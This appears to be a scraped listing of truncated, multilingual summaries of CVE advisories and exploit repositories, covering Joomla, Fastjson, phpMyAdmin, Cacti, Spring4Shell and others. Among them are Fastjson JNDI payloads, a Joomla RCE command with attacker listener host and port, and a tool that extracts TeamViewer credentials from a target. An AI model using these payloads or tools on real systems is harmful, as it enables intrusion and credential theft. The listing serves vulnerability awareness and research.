EUVD-2026-69429

A vulnerability in the API endpoint of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to view some information handled by the affected system. Successful exploitation could allow an attacker to gain insight into internal services and workflows, increasing the risk o...

code-wsl-rce

VS Code 远程 WSL 远程代码执行的概念验证 - CVE-2021-43907 参见博客： https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit. 另见 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43907。 构建 1. 运行 npm install。 2. 将适用于你架构的 vsda.node 存放在 /routes/vsda.node。 3. 运...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf VariaType 可变字体生成器漏洞利用工具 此仓库包含针对 Hack The Box 上 VariaType 机器的专用漏洞利用工具。该漏洞利用利用了 fontTools 库或 Web 应用程序处理 .designspace XML 文件和元数据插值时的漏洞，以实现远程代码执行 RCE 。 📝 描述 该漏洞存在于字体生成过程中。通过构造恶意的 designspace 文件，我们可以将 PHP 反向 shell 载荷注入到字体的元数据中（特别是 字段）。当服务器处理这些文件以生成可变字体时，它会将输出写入用户定义的路径，从而允许我们将 .p...

CVE-2024-48652

CVE-2024-48652 camaleon-cms v.2.7.5 におけるクロスサイトスクリプティングの脆弱性。リモートの攻撃者がコンテンツグループ名フィールドを介して任意のコードを実行可能。 再現手順: 1. URL http://127.0.0.1/admin/dashboard にアクセスする。 2. 管理者認証情報でログインする。 3. 「設定」セクションに移動する。 4. 「コンテンツグループ」をクリックする。 5. コンテンツグループの「編集」オプションを選択する。 6. 「名前」フィールドに、以下の XSS ペイロードを入力する: root@kitploit: " 7...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 影响范围：3.0.0-3.4.6 1、漏洞验证 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 显示“Vulnerable”证明存在漏洞 python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 执行成功 并在“configuration.php”写入随机密码的一句话木马...

CVE-2024-33209

CVE-2024-33209 FlatPress 1.3は、クロスサイトスクリプティング（XSS）に対して脆弱です。攻撃者は「Add New Entry」セクションに悪意のあるJavaScriptコードを注入することができ、被害者のウェブブラウザのコンテキストで任意のコードを実行できるようになります。 脆弱性の種類: クロスサイトスクリプティング（XSS） 製品ベンダー : flatpress CMS 影響を受ける製品コードベース : Flatpress v1.3 - FlatPressバージョン1.3で修正される予定です。 影響を受けるコンポーネント 管理パネルの「Add New...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 远程命令执行 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ 未知版本1.2.24-41之间 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true ​ 1.2.41...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP 代码注入 RCE POC。这是 CVE-2009-1151 的首个公开发布的漏洞利用程序。 语法 root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ 演示 root@kitploit: $ ./phpMyAdminRCE.sh...

PageMyadmin_file_upload_getshell

Este repositorio no tiene un README...

thinkphp5.0.1-automatic-getshell

thinkphp5.0.1-automatic-getshell thinkphp5.0.1自动getshell脚本 解决thinkphp5.0.1时候所遇到的一些小问题，通过造轮子的方式免去了手动复现的麻烦。...

teamview

teamview TVV2.exe在目标上运行会在当前目录生成生成3个文件 然后请运行生成的gps.exe文件之后会生成vtr.txt里面有ID和pass 连接请用windows server然后安装压缩包里的TeamViewerSetup.exe文件...

CVE-2024-21534

CVE-2024-21534: jsonpath-plus =10.0.7 におけるリモートコード実行の脆弱性 概要 このリポジトリには、jsonpath-plus パッケージ（バージョン10.0.7未満に影響）における重大なリモートコード実行（RCE）脆弱性の Proof of Concept（PoC）エクスプロイトが含まれています。この問題は、不適切な入力サニタイズに起因し、NodeのVMモジュールにおける安全でないデフォルト設定を悪用することで、攻撃者が任意のコードを実行できるようになります。この脆弱性は2024年10月11日に公開され、CVSSスコア...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 漏洞利用脚本 该 Python 脚本用于测试 Cacti 实例是否存在 CVE-2024-43363 漏洞，该漏洞是一个由日志投毒导致的远程代码执行（RCE）漏洞。 漏洞工作原理： 日志投毒：攻击者将 PHP 代码注入设备名称，Cacti 在记录时未进行适当清理。 执行：通过 Web URL 访问日志，注入的代码被执行，允许攻击者在服务器上运行命令。 脚本运行方式： 检查版本：脚本检查目标 Cacti 版本是否存在漏洞。 创建恶意设备：尝试创建一个名称包含 PHP 代码注入的设备。 检查日志：脚本检查日志中是否出现该代码并可被执...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 的一个 Python 实现，以 ssh 会话的风格为用户提供提示符。 该脚本旨在易于理解和执行，兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置，从而允许该漏洞利用被多次运行。可能需要进行清理。 漏洞利用 - CVE-2022-22965 ❗ 该漏洞存在于 5.2 版本之前的 java spring 框架中，以及 5.3.0-17 和 5.2.0-19 版本中，且运行在大于或等于 9 的 Java...

CVE-2023-25581

此 Python 脚本演示了如何利用 pac4j-core 中的 CVE-2023-25581 漏洞。该漏洞允许攻击者通过反序列化恶意构造的 Base64 编码数据执行任意代码（远程代码执行，RCE）。 先决条件 在运行脚本之前，请确保已安装以下内容： root@kitploit: Python 3.x：下载 Python requests 库：通过运行以下命令进行安装： bash pip install requests 使用方法 root@kitploit: 克隆仓库： 将此仓库克隆到本地机器： bash git clone...

CVE-2022-30780-lighttpd-denial-of-service

CVE-2022-30780 - lighttpd 远程拒绝服务 CVE-2022-30780 - lighttpd 远程拒绝服务 概述 未经身份验证的攻击者可以发送一个 URL 超过最大 URL 长度的 HTTP 请求，从而导致拒绝服务。 受影响的版本 以下版本的 lighttpd 存在漏洞： 软件| 版本| 受影响 ---|---|--- Lighttpd| 1.4.58| 是 ✅ Lighttpd| 1.4.57| 是 ✅ Lighttpd| 1.4.56| 是 ✅ 用法 root@kitploit: $...

CVE-2024-27348

CVE-2024-27348 这是 Apache HugeGraph 远程代码执行漏洞（CVE-2024-27348）的存储库。 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image: vulhub/hugegraph:1.2.0 ports: - "8080:8080" -...

CVE-2021-40444

Vulnerabilidad de ejecución remota de código en Microsoft MSHTML CVE-2021-40444 ¿Cómo deshabilitar los controles ActiveX en un sistema individual? 1. Para deshabilitar la instalación de controles ActiveX en Internet Explorer en todas las zonas, pegue lo siguiente en un archivo de texto y guárdelo...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 图片远程代码执行 使用Python对CVE-2019-8942和CVE-2019-8943的利用 : ExploitDB : https://www.exploit-db.com/exploits/49512 针对metasploit的原始利用 : WordPress Core 5.0.0 - 裁剪图片Shell上传 Metasploit : https://www.exploit-db.com/exploits/46662 视频 : 描述:...

CVE-2026-73701

CVE-2026-73701 is a critical unauthenticated remote code execution (RCE) vulnerability in the underlying operating system of HPE Networking Fabric Composer . The vulnerability requires certain preconditions outside the attacker's control to be met, which is reflected in the high attack complexity...